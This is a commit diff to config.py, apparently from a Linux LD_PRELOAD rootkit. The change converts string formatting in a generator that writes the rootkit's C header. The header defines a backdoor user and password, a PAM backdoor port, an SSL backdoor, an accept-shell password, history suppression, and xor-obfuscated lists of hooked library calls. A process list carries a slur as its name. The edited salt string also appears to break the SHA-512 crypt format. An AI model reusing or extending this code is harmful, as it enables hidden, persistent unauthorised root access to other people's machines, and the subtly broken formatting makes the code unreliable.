Skip to content

Commit 5a7d300

Browse files
authored
Converting .format to %s
1 parent 20f8281 commit 5a7d300

File tree

1 file changed

+8
-8
lines changed

1 file changed

+8
-8
lines changed

config.py

+8-8
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,7 @@
88

99
if len(sys.argv) != 16:
1010
print "Why are you running me from the command line?"
11-
print "Usage: %s <install> <lib name> <xattr 1> <xattr 2> <username> <plaintext password> <pam port> <ssl backdoor status> <accept shell password> <low> <high> <execve password> <environ var> <ptrace bug status>" % (sys.argv[0])
11+
print "Usage: %0s <install> <lib name> <xattr 1> <xattr 2> <username> <plaintext password> <pam port> <ssl backdoor status> <accept shell password> <low> <high> <execve password> <environ var> <ptrace bug status>" % (sys.argv[0])
1212
sys.exit()
1313

1414
MAGIC_GID = int(''.join(random.choice(string.digits[1:]) for x in range(9))) # string.digits[1:] because we don't want any zeros in the magic gid. fuck that
@@ -206,7 +206,7 @@ def const_h_setup():
206206
const_h += '#define TERM_ENV_VAR "' + xor("TERM=xterm") + '"\n'
207207

208208
const_h += '#define VLANY_USER "' + xor(VLANY_USER) + '"\n'
209-
const_h += '#define VLANY_PASSWORD "' + xor(crypt.crypt(VLANY_PASSWORD, "$6${0}".format(''.join(random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits) for x in range(12))))) + '"\n'
209+
const_h += '#define VLANY_PASSWORD "' + xor(crypt.crypt(VLANY_PASSWORD, "$6%0s" % (''.join(random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits) for x in range(12))))) + '"\n'
210210
const_h += '#define PAM_PORT ' + str(PAM_PORT) + '\n'
211211
const_h += '#define VLANY_PERM "' + xor("root") + '"\n'
212212
const_h += '#define HISTFILE "' + xor("/dev/null") + '"\n'
@@ -331,40 +331,40 @@ def const_h_setup():
331331
const_h += '#define MAX_LEN 4125\n'
332332

333333
for x in CALLS:
334-
const_h += "#define C{0} {1}\n".format(x.upper(), cindex(x))
334+
const_h += "#define C%0s %1s\n" % (x.upper(), cindex(x))
335335

336336
const_h += '#define _CSIZE ' + str(len(CALLS))
337337
CALL_LIST = '\nstatic char *calls[_CSIZE] = {'
338338
for x in CALLS:
339-
CALL_LIST += '"{0}",'.format(xor(x))
339+
CALL_LIST += '"%0s",' % (xor(x))
340340
CALL_LIST = CALL_LIST[:-1] + "};\n"
341341
const_h += CALL_LIST
342342

343343
const_h += '#define LIBC_SIZE ' + str(len(LIBC_CALLS))
344344
LIBC_CALL_LIST = '\nstatic char *libc_calls[LIBC_SIZE] = {'
345345
for x in LIBC_CALLS:
346-
LIBC_CALL_LIST += '"{0}",'.format(xor(x))
346+
LIBC_CALL_LIST += '"%0s",' % (xor(x))
347347
LIBC_CALL_LIST = LIBC_CALL_LIST[:-1] + "};\n"
348348
const_h += LIBC_CALL_LIST
349349

350350
const_h += '#define LIBDL_SIZE ' + str(len(LIBDL_CALLS))
351351
LIBDL_CALL_LIST = '\nstatic char *libdl_calls[LIBDL_SIZE] = {'
352352
for x in LIBDL_CALLS:
353-
LIBDL_CALL_LIST += '"{0}",'.format(xor(x))
353+
LIBDL_CALL_LIST += '"%0s",' % (xor(x))
354354
LIBDL_CALL_LIST = LIBDL_CALL_LIST[:-1] + "};\n"
355355
const_h += LIBDL_CALL_LIST
356356

357357
const_h += '#define LIBPAM_SIZE ' + str(len(LIBPAM_CALLS))
358358
LIBPAM_CALL_LIST = '\nstatic char *libpam_calls[LIBPAM_SIZE] = {'
359359
for x in LIBPAM_CALLS:
360-
LIBPAM_CALL_LIST += '"{0}",'.format(xor(x))
360+
LIBPAM_CALL_LIST += '"%0s",' % (xor(x))
361361
LIBPAM_CALL_LIST = LIBPAM_CALL_LIST[:-1] + "};\n"
362362
const_h += LIBPAM_CALL_LIST
363363

364364
const_h += '#define GPSIZE ' + str(len(GAY_PROCS))
365365
GAY_PROCS_LIST = '\nstatic char *gay_procs_list[GPSIZE] = {'
366366
for x in GAY_PROCS:
367-
GAY_PROCS_LIST += '"{0}",'.format(xor(x))
367+
GAY_PROCS_LIST += '"%0s",' % (xor(x))
368368
GAY_PROCS_LIST = GAY_PROCS_LIST[:-1] + "};\n"
369369
const_h += GAY_PROCS_LIST
370370

0 commit comments

Comments
 (0)